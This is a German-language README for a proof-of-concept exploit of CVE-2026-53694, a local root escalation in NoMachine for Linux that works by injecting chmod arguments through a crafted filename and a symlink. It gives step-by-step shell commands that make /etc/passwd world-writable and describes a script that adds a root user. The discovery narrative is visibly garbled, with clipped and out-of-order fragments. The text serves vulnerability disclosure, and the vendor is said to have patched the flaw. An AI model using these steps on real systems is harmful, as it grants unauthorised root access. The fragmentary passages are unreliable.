
Proof-of-Concept-Exploit und Dokumentation für CVE-2026-53694, eine lokale Privilegieneskalation in NoMachine für Linux durch Argumentinjektion in nxchmod.sh, die Root-Zugriff durch Symlink-Manipulation ermöglicht.
Dieses Repository enthält die Aufarbeitung und den Proof of Concept (PoC) für CVE-2026-53694, eine lokale Privilegieneskalation (Local Privilege Escalation, LPE) in NoMachine für Linux.
Aufgrund einer unzureichenden Neutralisierung von Argumenttrennzeichen im Skript nxchmod.sh kann ein lokaler unprivilegierter Benutzer Argumente in einen als root ausgeführten Systembefehl injizieren. Durch die Kombination dieser Argumentinjektion mit einem symbolischen Link kann ein Angreifer kritische Systemdateien (wie /etc/passwd) überschreiben und seine Rechte auf root erhöhen.
Diese Schwachstelle wurde vom Hersteller vollständig behoben.
Diese Schwachstelle zu finden, war ein Prozess von Versuch, Irrtum und einer nächtlichen Erkenntnis. So entfaltete sich die Entdeckung:
/usr/NX/scripts/restricted/nxchmod.sh regelmäßig vom root-Benutzer ausgeführt wurde, um Berechtigungen in bestimmten Verzeichnissen zu verwalten.chmod a+rw auf Dateien anwendete. Ich dachte: Wenn ich das Ziel kontrolliere, kann ich dann mit einem Symlink /etc/passwd beschreibbar machen? Ich testete einen normalen Symlink (ln -s /etc/passwd /tmp/asdf), aber das schlug fehl. Das Linux-Sticky-Bit auf Verzeichnissen wie /tmp verhindert, dass der root-Benutzer blind einem Symlink folgt, der von einem anderen Benutzer erstellt wurde.${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}. Das Skript nahm den buchstäblichen Dateinamen und übergab ihn direkt an chmod.X1234 -R -L. Als das Skript lief, erweiterte der chmod-Befehl dies zu mehreren Argumenten anstelle eines einzelnen Dateipfads.Die Schwachstelle entsteht durch die Art und Weise, wie NoMachine Berechtigungen für X11/Wayland-Sockets verwaltet. Das Skript nxchmod.sh wird vom Daemon nxserver.bin gestartet, der als root läuft.
Der verwundbare Aufruf sieht wie folgt aus:
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
Wenn ein Angreifer eine Verzeichnisstruktur und eine Datei namens X1234 -R -L erstellt, lautet der resultierende, von root ausgeführte Befehl:
/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L
Wenn ein Symlink, der auf /etc/passwd zeigt, im Verzeichnis X1234 platziert wird, zwingen die injizierten Argumente -R und -L chmod dazu, dem Symlink rekursiv zu folgen und der Zieldatei globale Lese-/Schreibberechtigungen zu gewähren.
Damit dieser Exploit funktioniert, muss das Zielsystem die folgenden Bedingungen erfüllen:
Sie können diese Schwachstelle entweder manuell mit Shell-Befehlen oder automatisch mit dem bereitgestellten Python-Skript reproduzieren.
Navigieren Sie zu /tmp/.X11-unix/ und führen Sie die folgenden Befehle aus, um die schädliche Verzeichnisstruktur zu erstellen.
cd /tmp/.X11-unix/
# 1. Exploit-Einrichtung
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# Warten Sie, bis nxchmod.sh ausgeführt wird (kann bis zu 60 Sekunden dauern).
# Überprüfen Sie, ob sich die Berechtigungen von /etc/passwd in -rw-rw-rw- geändert haben.
# Sie können jetzt /etc/passwd bearbeiten, um einen root-Benutzer hinzuzufügen.
Sobald Sie die Schwachstelle verifiziert und die Rechte erhöht haben, führen Sie die folgenden Bereinigungsbefehle aus, um die Systemstabilität wiederherzustellen und Artefakte zu entfernen:
# 2. Bereinigung
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
Ein vollständiger automatisierter Exploit ist in poc.py enthalten. Dieses Skript überprüft die Wayland-Anforderungen, richtet den Symlink ein, wartet auf den Ausführungszyklus von nxchmod.sh und fügt einen neuen root-Benutzer (gg) in /etc/passwd ein.
Um den Exploit auszuführen:
python3 poc.py
Diese Schwachstelle wurde von NoMachine behoben. Benutzer sollten auf die folgenden Versionen oder höher aktualisieren:
-L (Symlinks folgen) und -R (rekursiv) in den chmod-Befehl über den Dateinamen zwang ich die chmod-Binärdatei selbst, den von mir im Verzeichnis erstellten Symlink aufzulösen und zu folgen, wodurch der Sticky-Bit-Schutz vollständig umgangen wurde./etc/passwd beschreibbar gemacht wurde (a+rw), konnte ich einfach einen neuen root-Benutzer in die Datei anhängen und mit su darauf wechseln.